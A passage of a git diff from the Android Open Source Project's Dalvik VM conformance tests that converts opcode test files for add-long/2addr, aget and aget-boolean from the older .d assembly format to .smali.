+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 7
+
+    const p3, 0x4640e400    # 12345.0f
+
+    add-long/2addr p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.d
deleted file mode 100644
index 3455016..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2addr_5.java
-.class public dot.junit.opcodes.add_long_2addr.d.T_add_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       add-long/2addr v2, v5
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.smali
new file mode 100644
index 0000000..5e0caab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long/2addr v2, v5
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.d
deleted file mode 100644
index 906eabc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2addr_6.java
-.class public dot.junit.opcodes.add_long_2addr.d.T_add_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 7
-
-       const-wide v2, 31415
-       add-long/2addr v2, v5
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.smali
new file mode 100644
index 0000000..fa88812
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 7
+
+       const-wide v2, 31415
+       add-long/2addr v2, v5
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.d
deleted file mode 100644
index 549fdb5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_1.java
-.class public dot.junit.opcodes.aget.d.T_aget_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)I
-.limit regs 9
-
-       aget v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.smali
new file mode 100644
index 0000000..07905c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_1.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.d
deleted file mode 100644
index 2d31759..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_2.java
-.class public dot.junit.opcodes.aget.d.T_aget_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ID)I
-.limit regs 9
-
-       aget v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.smali
new file mode 100644
index 0000000..8b73bb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_2.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ID)I
+.registers 9
+
+       aget v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.d
deleted file mode 100644
index 72731ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_3.java
-.class public dot.junit.opcodes.aget.d.T_aget_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([IJ)I
-.limit regs 9
-
-       aget v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.smali
new file mode 100644
index 0000000..8aaf9e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_3.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IJ)I
+.registers 9
+
+       aget v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.d
deleted file mode 100644
index 8e3b970..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_4.java
-.class public dot.junit.opcodes.aget.d.T_aget_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)I
-.limit regs 9
-
-       aget v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.smali
new file mode 100644
index 0000000..2e5f17d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_4.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.d
deleted file mode 100644
index e0d2005..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_5.java
-.class public dot.junit.opcodes.aget.d.T_aget_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DI)I
-.limit regs 9
-
-       aget v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.smali
new file mode 100644
index 0000000..4700764
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_5.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.d
deleted file mode 100644
index 41a009c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_6.java
-.class public dot.junit.opcodes.aget.d.T_aget_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)I
-.limit regs 9
-
-       aget v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.smali
new file mode 100644
index 0000000..80b26fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_6.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.d
deleted file mode 100644
index 8b2c021..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_7.java
-.class public dot.junit.opcodes.aget.d.T_aget_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)I
-.limit regs 9
-
-       aget v0, v7, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.smali
new file mode 100644
index 0000000..436234b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_7.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)I
+.registers 9
+
+       aget v0, v7, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.d
deleted file mode 100644
index e91d276..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_8.java
-.class public dot.junit.opcodes.aget.d.T_aget_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([IF)I
-.limit regs 9
-
-       aget v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.smali
new file mode 100644
index 0000000..23caac9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_8.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IF)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.d
deleted file mode 100644
index 51fe7a5c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_9.java
-.class public dot.junit.opcodes.aget.d.T_aget_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)I
-.limit regs 9
-
-       aget v0, v7, v9
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.smali
new file mode 100644
index 0000000..4a04005
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_9.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)I
+.registers 9
+
+       aget v0, v7, v9
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.d
deleted file mode 100644
index 6fbf9bc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_1.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZI)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.smali
new file mode 100644
index 0000000..a7b7ea9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_1.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZI)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.d
deleted file mode 100644
index e858a8d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_2.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZD)Z
-.limit regs 9
-
-       aget-boolean v0, v6, v7
-       return v0
-.end method
-
-
